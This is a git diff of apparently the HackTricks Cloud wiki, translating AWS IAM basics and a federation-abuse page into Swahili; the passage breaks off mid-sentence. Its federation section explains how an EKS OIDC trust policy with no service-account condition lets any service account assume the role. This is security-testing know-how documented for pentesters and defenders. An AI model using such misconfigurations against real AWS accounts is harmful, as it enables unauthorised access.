**role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +Jukumu la IAM linajumuisha **aina mbili za sera**: **sera ya kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na **sera ya ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### Huduma ya Usalama ya Tokeni ya AWS (STS) -#### AWS Security Token Service (STS) +Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [Akreditif za muda katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**Akreditif za muda zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali. -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### Sera -### Policies +#### Ruhusa za Sera -#### Policy Permissions +Zinatumiwa kupewa ruhusa. Kuna aina 2: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- Sera zinazodhibitiwa na AWS (zilizopangwa na AWS) +- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe. +Kwa **default ufikiaji** unakataliwa, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\ +Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa default). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +The [sehemu za kimataifa ambazo zinaweza kutumika kwa masharti katika huduma yoyote zimeandikwa hapa](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Sehemu maalum ambazo zinaweza kutumika kwa masharti kwa kila huduma zimeandikwa hapa](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### Sera za Ndani -#### Inline Policies +Aina hii ya sera ni **zinazopewa moja kwa moja** kwa mtumiaji, kundi au jukumu. Hivyo, hazionekani katika orodha ya Sera kama wengine wanaweza kuzitumia.\ +Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho kimewekwa. Kwa mfano, unataka kuwa na uhakika kwamba ruhusa katika sera hazitapewa kwa bahati mbaya kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera hiyo haziwezi kuunganishwa kwa bahati mbaya na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizoingizwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo kikuu. -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### Sera za Rasilimali za Ndoo -#### Resource Bucket Policies +Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Sio rasilimali zote za AWS zinazozipokea**. -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +Ikiwa chombo hakina kukataa waziwazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### Mipaka ya IAM -### IAM Boundaries +Mipaka ya IAM inaweza kutumika **kudhibiti ruhusa ambazo mtumiaji au jukumu linapaswa kuwa na ufikiaji**. Kwa njia hii, hata kama seti tofauti za ruhusa zinatolewa kwa mtumiaji na **sera tofauti**, operesheni itashindwa ikiwa atajaribu kuzitumia. -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Mpaka ni sera tu iliyoambatanishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa mpaka inaonyesha anaweza kusoma tu ndoo za SĀ·, hiyo ndiyo kiwango cha juu anachoweza kufanya. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read SĀ· buckets, that's the maximum he can do. +**Hii**, **SCPs** na **kufuata kanuni ya ruhusa ndogo** ndiyo njia za kudhibiti kwamba watumiaji hawana ruhusa zaidi ya zile anazohitaji. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### Sera za Kikao -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **mpaka wa IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina). +Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye mamlaka makubwa anaweza kupunguza ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Note that by default **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inakadiria huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Hivyo, ikiwa kwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**. -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### Ushirikiano wa Utambulisho -### Identity Federation +Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\ +Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuruhusu watumiaji ndani yake kufikia AWS. -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa. -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa lile linaloruhusu watumiaji kuchukua jukumu moja au jingine.
-### IAM Identity Center +### Kituo cha Utambulisho wa IAM -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +Kituo cha Utambulisho wa AWS IAM (mfuasi wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu. -The login domain is going to be something like `.awsapps.com`. +Domeni la kuingia litakuwa kitu kama `.awsapps.com`. -To login users, there are 3 identity sources that can be used: +Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS +- Active Directory: Inasaidia viunganishi tofauti +- Mtoa Huduma wa Utambulisho wa Nje: Watumiaji wote na makundi yanatoka kwa Mtoa Huduma wa Utambulisho wa Nje (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti yoyote** ya shirika. -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML unaoaminika Kituo cha Utambulisho utaundwa**, na **jukumu linaloaminika Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaundwa** katika akaunti ya marudio. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoandaliwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoandaliwa katika akaunti zinazotolewa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**. -### Cross Account Trusts and Roles +### Uaminifu na Majukumu ya Akaunti Mbalimbali -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Mtumiaji** (anayeaminika) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera fulani na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminika) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti ambayo unamiliki na akaunti ya AWS ya upande wa tatu.\ +Inapendekezwa **kueleza mtumiaji ambaye anaaminika na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu. ### AWS Simple AD -Not supported: +Haitambuliwi: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- Mahusiano ya Uaminifu +- Kituo cha Usimamizi wa AD +- Msaada kamili wa PS API +- Kituo cha Recycle cha AD +- Akaunti za Huduma za Kundi +- Upanuzi wa Schema +- Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano -#### Web Federation or OpenID Authentication +#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji kwa console ya AWS, bali ufikiaji tu kwa rasilimali ndani ya AWS. -### Other IAM options +### Chaguzi Nyingine za IAM -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila. +- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewekwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Kwa IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Kwa sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini zaidi**. -### IAM ID Prefixes +### Awali za ID za IAM -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **awali za ID za IAM** za funguo kulingana na asili yao: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Token ya mtoa huduma ya AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | Akiba maalum ya muktadha | +| AGPA | Kundi la mtumiaji | +| AIDA | Mtumiaji wa IAM | +| AIPA | Profaili ya mfano wa Amazon EC2 | +| AKIA | Funguo ya ufikiaji | +| ANPA | Sera iliyosimamiwa | +| ANVA | Toleo katika sera iliyosimamiwa | +| APKA | Funguo ya umma | +| AROA | Jukumu | +| ASCA | Cheti | +| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa pamoja na funguo ya siri ya ufikiaji na tokeni ya kikao. | -### Recommended permissions to audit accounts +### Ruhusa zinazopendekezwa kukagua akaunti -The following privileges grant various read access of metadata: +Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +324,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## Mambo Mengine -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### Uthibitishaji wa CLI +Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa kawaida unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\ +Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\ +Mfano wa faili la akiba lenye zaidi ya profaili 1: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` - If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +Mfano wa faili la usanidi: ``` [profile acc2] region=eu-west-2 @@ -368,23 +353,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +Na faili hii ya usanidi unaweza kutumia aws cli kama: ``` aws --profile acc2 ... ``` +Ikiwa unatafuta kitu **kama** hiki lakini kwa **browser** unaweza kuangalia **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## Marejeleo - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..f81491291 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -4,84 +4,81 @@ ## SAML -For info about SAML please check: +Kwa maelezo kuhusu SAML tafadhali angalia: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +Ili kuunda **Utambulisho wa Shirikisho kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**mipaka**, **cheti** chenye funguo za umma) ## OIDC - Github Actions Abuse -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Ili kuongeza hatua ya github kama Mtoa Utambulisho: +1. Kwa _Aina ya Mtoa_, chagua **OpenID Connect**. +2. Kwa _URL ya Mtoa_, ingiza `https://token.actions.githubusercontent.com` +3. Bonyeza _Pata thumbprint_ ili kupata thumbprint ya mtoa +4. Kwa _Watazamaji_, ingiza `sts.amazonaws.com` +5. Unda **jukumu jipya** lenye **idhini** zinazohitajika na hatua ya github na **sera ya kuamini** inayomwamini mtoa kama: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** lilihitajika kwa **kichocheo** maalum. +7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** itakuwa "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**. +8. Hatimaye tumia hatua ya github kuunda AWS creds zitakazotumika na mchakato: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - EKS Dhulumu ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +Ni rahisi kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Hii sera inadhihirisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo inamaanisha kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya 